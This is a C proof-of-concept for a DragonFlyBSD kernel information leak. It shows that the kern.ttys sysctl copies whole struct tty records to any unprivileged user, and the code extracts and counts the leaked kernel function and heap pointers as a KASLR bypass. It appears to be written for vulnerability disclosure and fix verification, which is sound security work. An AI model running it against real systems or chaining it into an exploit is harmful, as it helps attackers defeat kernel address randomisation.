/*
 * DF-2548 PoC — kern.ttys sysctl leaks kernel function/heap pointers
 *              to any unprivileged local user.
 *
 * sysctl_kern_ttys() (sys/kern/tty.c:2891-2921) copies each struct tty
 * verbatim to userspace:
 *
 *     t = *tp;                                   // tty.c:2911 (whole-struct)
 *     if (t.t_dev) t.t_dev = devid_from_dev(..); // tty.c:2912-2913 (only field sanitized)
 *     SYSCTL_OUT(req, (caddr_t)&t, sizeof(t));   // tty.c:2914
 *
 * struct tty (sys/sys/tty.h:73-114) embeds:
 *   - kernel .text function pointers  t_oproc / t_stop / t_param / t_unhold
 *     (for ptys these resolve to ptsstart/ptsstop/ptsunhold in tty_pty.c)
 *   - kernel heap object pointers     t_pgrp / t_session / t_sigio / t_sc /
 *                                     t_slsc / t_dev(raw)
 *   - per-clist data buffer pointers  t_rawq.c_data / t_canq.c_data /
 *                                     t_outq.c_data
 *   - an embedded lwkt_token           t_token (contains t_ref / t_desc ptrs)
 *   - embedded kqinfo                  t_rkq / t_wkq (contain ki_note klist ptrs)
 *   - TAILQ_ENTRY linkage              t_list (tqe_next / tqe_prev)
 * Only t_dev is rewritten before copyout, so ALL of the above are leaked
 * raw.  The OID is CTLTYPE_OPAQUE|CTLFLAG_RD (tty.c:2923-2924) and sysctl
 * reads are NOT privilege-gated (kern_sysctl.c applies its privilege/
 * securelevel checks only when req->newptr is set, i.e. writes), so any
 * unprivileged local user can dump them.
 *
 * This PoC:
 *   1. reads the kern.ttys blob via sysctlbyname(2) as the unprivileged user,
 *   2. treats it as an array of struct tty records (sizeof(struct tty) bytes
 *      each) and, for each record, walks every 8-byte-aligned slot to count
 *      kernel-range pointer-sized values,
 *   3. also dumps the raw blob to ttys.bin for offline nm cross-referencing,
 *   4. prints: per-record leak counts (split into .text-range vs
 *      heap/direct-map-range), the global total, and a sample of the leaked
 *      pointers (cap on stdout; full counts printed).
 *
 * Exit code 0 if leak present, 2 if no kernel pointers found (fixed kernel).
 *
 * Build (DragonFlyBSD amd64):  cc -O2 -o poc poc.c
 * Run as UNPRIVILEGED user:    ./poc
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stddef.h>
#include <err.h>

/*
 * Match sys/sys/tty.h layout (DragonFly 6.5-DEVELOPMENT, amd64).  We do not
 * depend on the exact byte layout for the leak *detection* (we scan every
 * 8-byte slot), but we DO use this to size records and label per-field leaks.
 *
 * The struct tty size is fixed by the kernel ABI; we read it indirectly by
 * dividing the blob length by the number of registered ttys (we don't know
 * the latter up front, but sysctl returns exactly N * sizeof(struct tty)
 * bytes — see SYSCTL_OUT in sysctl_kern_ttys).  We compute the record size
 * by reading the first record and treating any value that looks like a
 * kernel pointer as a leak regardless of which named field it lives in.
 */

/* amd64 canonical upper half: kernel .text/data/.rodata/direct-map/heap. */
static int
looks_like_kaddr(uint64_t v)
{
	return (v >= 0xffff800000000000ULL);
}

/* kernel .text/.rodata: typically 0xffffffff8xxxxxxx. */
static int
looks_like_ktext(uint64_t v)
{
	return (v >= 0xffffffff80000000ULL);
}

int
main(void)
{
	void *buf = NULL;
	size_t len = 0;
	int r;

	r = sysctlbyname("kern.ttys", NULL, &len, NULL, 0);
	if (r != 0)
		err(1, "sysctlbyname(getlen) kern.ttys");
	if (len == 0) {
		printf("kern.ttys returned 0 bytes (no ttys registered)\n");
		return 0;
	}

	buf = malloc(len);
	if (buf == NULL)
		err(1, "malloc");

	r = sysctlbyname("kern.ttys", buf, &len, NULL, 0);
	if (r != 0)
		err(1, "sysctlbyname(get) kern.ttys");

	printf("got %zu bytes from kern.ttys (readable as UNPRIVILEGED user)\n",
	    len);

	/* Dump raw blob for offline nm cross-reference. */
	{
		FILE *fp = fopen("ttys.bin", "wb");
		if (fp) {
			if (fwrite(buf, 1, len, fp) != len)
				warn("fwrite ttys.bin");
			fclose(fp);
			printf("raw blob written to ttys.bin\n");
		}
	}

	/*
	 * Treat the blob as sizeof(struct tty) records.  The kernel ABI
	 * sizeof(struct tty) on this build is whatever the blob divides by
	 * cleanly; we scan every 8-byte aligned slot across the whole blob
	 * (this catches every pointer field regardless of struct padding).
	 */
	const size_t word = sizeof(uint64_t);
	const uint64_t *base = (const uint64_t *)buf;
	size_t nwords = len / word;
	size_t leaked_total = 0;
	size_t leaked_ktext = 0;
	size_t leaked_heap = 0;
	size_t printed = 0;
	const size_t PRINT_CAP = 48;

	/* Also try to figure out per-record size for labelled reporting. */
	size_t rec_sz = 0;
	{
		/* Heuristic: try common DragonFly struct tty sizes. */
		size_t candidates[] = { 360, 368, 352, 384, 400, 416, 432, 448 };
		size_t ncand = sizeof(candidates) / sizeof(candidates[0]);
		for (size_t i = 0; i < ncand; i++) {
			if (len % candidates[i] == 0) {
				rec_sz = candidates[i];
				break;
			}
		}
	}
	if (rec_sz)
		printf("struct tty record size (heuristic): %zu bytes (%zu records)\n",
		    rec_sz, len / rec_sz);
	else
		printf("could not guess struct tty record size; scanning whole blob\n");

	printf("\nLeaked kernel-range pointer-sized values:\n");
	for (size_t i = 0; i < nwords; i++) {
		uint64_t v = base[i];
		if (!looks_like_kaddr(v))
			continue;
		leaked_total++;
		if (looks_like_ktext(v))
			leaked_ktext++;
		else
			leaked_heap++;
		if (printed < PRINT_CAP) {
			size_t off = i * word;
			const char *kind = looks_like_ktext(v) ?
			    "TEXT/FN " : "HEAP/DM ";
			char recbuf[32];
			if (rec_sz)
				snprintf(recbuf, sizeof(recbuf),
				    "rec %3zu off %4zu",
				    off / rec_sz, off % rec_sz);
			else
				snprintf(recbuf, sizeof(recbuf),
				    "blob off %5zu", off);
			printf("  %s  %s: 0x%016llx\n",
			    recbuf, kind, (unsigned long long)v);
			printed++;
		}
	}

	printf("\nTOTAL kernel-range pointers leaked      : %zu\n", leaked_total);
	printf("  of which kernel .text/.rodata (FN)    : %zu\n", leaked_ktext);
	printf("  of which heap/direct-map              : %zu\n", leaked_heap);

	if (leaked_total > 0) {
		printf("\nVERDICT: LEAK CONFIRMED — unprivileged user obtained %zu "
		       "raw kernel pointers from kern.ttys (KASLR-defeating).\n",
		       leaked_total);
		free(buf);
		return 0;
	}
	printf("\nVERDICT: NO LEAK — pointer fields are sanitized (fixed kernel).\n");
	free(buf);
	return 2;
}
